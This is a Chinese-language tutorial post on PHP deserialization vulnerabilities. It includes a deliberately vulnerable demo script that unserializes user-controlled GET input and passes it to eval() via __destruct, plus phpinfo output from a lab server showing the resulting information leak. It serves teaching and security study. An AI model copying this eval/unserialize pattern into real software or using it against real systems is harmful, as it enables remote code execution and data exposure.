当前位置: 首页 > news >正文

反序列化漏洞3-反序列化漏洞讲解演示

一.反序列化漏洞的介绍       

        当用户的请求在传给反序列化函数 unserialize()之前没有被正确的过滤时就会产生漏洞。因为
PHP 允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize
函数,最终 导致一个在该应用范围内的任意 PHP 对象注入。
反序列化漏洞出现需要满足两个条件:
1. unserialize 时参数用户可控
2. 参数被传递到方法中被执行,并且方法中使用了危险函数。
什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。
代码演示:
<?php
class Test{
var $free = "demo";
function __destruct(){
//_destruct()函数中调用 eval 执行序列化对象中的语句
@eval($this->free);
}
}
$free = $_GET['free'];
$len = strlen($free)+1;
//构造序列化对象
$ser = "O:4:\"Test\":1:{s:4:\"free\";s:".$len.":\"".$free.";\";}";
// 反序列化同时触发_destruct 函数
$xuegod = unserialize($ser);
?>
       用户提交的参数作为序列化后的字符串参数,进行反序列化时触发__destruct()魔术方法,而
魔术方法中使用危险函数 eval(),$this->free 可以调用对象中的 free 属性,所以使 $free =
"phpinfo();"; 而 @eval($this->free); 则执行 free 属性中的 php 代码
浏览器访问URL:http://192.168.112.12/free.php
这里不用加分号因为代码里面自带了。
这就导致敏感信息泄露:

PHP Version 5.4.16

SystemLinux localhost.localdomain 3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64
Build DateApr 1 2020 04:08:16
Server APIApache 2.0 Handler
Virtual Directory Supportdisabled
Configuration File (php.ini) Path/etc
Loaded Configuration File/etc/php.ini
Scan this dir for additional .ini files/etc/php.d
Additional .ini files parsed/etc/php.d/curl.ini, /etc/php.d/fileinfo.ini, /etc/php.d/gd.ini, /etc/php.d/json.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini, /etc/php.d/phar.ini, /etc/php.d/sqlite3.ini, /etc/php.d/zip.ini
PHP API20100412
PHP Extension20100525
Zend Extension220100525
Zend Extension BuildAPI220100525,NTS
PHP Extension BuildAPI20100525,NTS
Debug Buildno
Thread Safetydisabled
Zend Signal Handlingdisabled
Zend Memory Managerenabled
Zend Multibyte Supportdisabled
IPv6 Supportenabled
DTrace Supportdisabled
Registered PHP Streamshttps, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, sslv3, tls
Registered Stream Filterszlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.4.0, Copyright (c) 1998-2013 Zend Technologies
这就是简单的反序列化漏洞演示。
注意:在URL中:空白字符1可以用%00和/00来表示。
http://www.dtcms.com/a/286677.html

相关文章:

  • 4. PyQGIS整体框架详解
  • Agent AI(3):Agent分类
  • day30——零基础学嵌入式之线程2.0
  • 多线程-2-线程间通信
  • 推荐算法召回:架构理解
  • 【RK3576】【Android14】开发环境搭建
  • Windows 下 VS2019 编译 libevent-2.1.10 库
  • React 实现人员列表多选、全选与取消全选功能
  • 大疆司空2私有化部署报错解决方案
  • 谷歌浏览器Chrome的多用户配置文件功能
  • Python分组柱形图绘制全攻略
  • 题解:CF1866D Digital Wallet
  • 熔断和降*的区别
  • 使用pt-toolkit工具包进行MySQL性能优化实战指南
  • 算法训练营day24 回溯算法③ 93.复原IP地址 、78.子集、 90.子集II
  • AWS SSL证书无缝迁移完整指南 - 零业务中断方案
  • Python 进程间通信:TCP安全加密数据传输
  • H3CNE小小综合实验
  • 模拟数据生成---使用NGS数据模拟软件VarBen
  • SLM343CK-DG Sillumin数明半导体高性能LED驱动芯片 抗干扰+耐高温 车载照明专用
  • 二叉树(建立 + 遍历 + 拓展)
  • 外部DLL创建及使用
  • 灵巧手(具身智能入门十一)
  • if (a == 1 a == 2 a == 3)返回true的问题思考
  • NVIDIA 驱动安装失败问题排查与解决(含离线 GCC 工具链安装全过程)
  • MySQL组内拼接group_concat函数
  • MyUI会员排名VcMember组件文档
  • Java与Vue技术搭建的SRM招标采购管理系统,提供源码,涵盖招标、投标、评标全流程,助力企业高效规范采购管理
  • spring-cloud微服务部署-feign服务间调用
  • NFS读写性能评估与优化指南(下)